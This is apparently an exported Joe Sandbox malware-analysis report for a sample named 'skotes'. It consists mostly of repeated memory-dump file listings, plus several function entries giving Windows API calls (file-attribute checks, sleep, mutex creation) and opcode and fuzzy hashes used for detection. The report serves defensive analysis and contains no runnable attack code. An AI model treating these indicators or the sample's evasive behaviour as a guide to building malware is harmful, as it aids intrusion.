Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$HandleInformationType
String ID:
API String ID: 2531987475-0
Opcode ID: b300334ba1642800ff77dd9dc245c9abd38610b0a78aaceec8ed4080f231ceab
Instruction ID: fa70b1a9d937e783152616971aec1e4b1b6d6616ce2a041fc2669738ec98b14a
Opcode Fuzzy Hash: b300334ba1642800ff77dd9dc245c9abd38610b0a78aaceec8ed4080f231ceab
Instruction Fuzzy Hash: 44417EB9904304ABDB24EFB5DD459AFB7F9EF9A300B10452EF856D3650E7309A40CB61

Function 00179BA5 Relevance: 4.6, APIs: 3, Instructions: 140sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00179BA8
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 4f8395eaa01a019aa22ccbfc5abf8c3b602b0163197f999c63eb84bb84afe1bf
Instruction ID: c3aec5442d2c316f4b06343bf304e4ca08c6d33d9ece14883e3f24f8b207b693
Opcode Fuzzy Hash: 4f8395eaa01a019aa22ccbfc5abf8c3b602b0163197f999c63eb84bb84afe1bf
Instruction Fuzzy Hash: 5F316831B002048BEF18AB78EC99BADB7B2EFD1310F24C218E0189B3D5C7759A848752

Function 00179CDA Relevance: 4.6, APIs: 3, Instructions: 139sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00179CDD
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 081c35e76312b8acdc9af1b9751eceb3e21c15dbcc4dd4d1c711648bb65eee9a
Instruction ID: 48eba4006cdaf66e2472e73d3658c47f9a3ae98d38cfc5060713ea607ee97df5
Opcode Fuzzy Hash: 081c35e76312b8acdc9af1b9751eceb3e21c15dbcc4dd4d1c711648bb65eee9a
Instruction Fuzzy Hash: B73126727042448BEF189BB8EC99BADB772DFD6310F348619E1189B3D5C7359A848712

Function 00179F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00179F47
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 2464fea3104d3db63427d09e67633661dc0e420dd08e364cbe243bda2c1d90ab
Instruction ID: 7623a61e2f3df81ce5350d82a9af39b85ee442cc8e1699f58741d3f2cd13774c
Opcode Fuzzy Hash: 2464fea3104d3db63427d09e67633661dc0e420dd08e364cbe243bda2c1d90ab
Instruction Fuzzy Hash: 523148327042048BEB18AB78EC98BADBB72EFD5310F64C619F118DB3D5D7359A848752

Function 0017A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A07C
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ef50a72733e78f1a33ce08eb12d9ccbe493ae71cb51291f7b0203eb756564aef
Instruction ID: 4762f2b91ff522f6bcd6841a2bb574705eeac3aabec0cb0a26fdad30d322bf2b
Opcode Fuzzy Hash: ef50a72733e78f1a33ce08eb12d9ccbe493ae71cb51291f7b0203eb756564aef
Instruction Fuzzy Hash: 06314831B002049BEB189BB8EC99BADB772DFD1314F64C619E0189B3D5C7369A80CB13

Function 0017A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A1B1
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
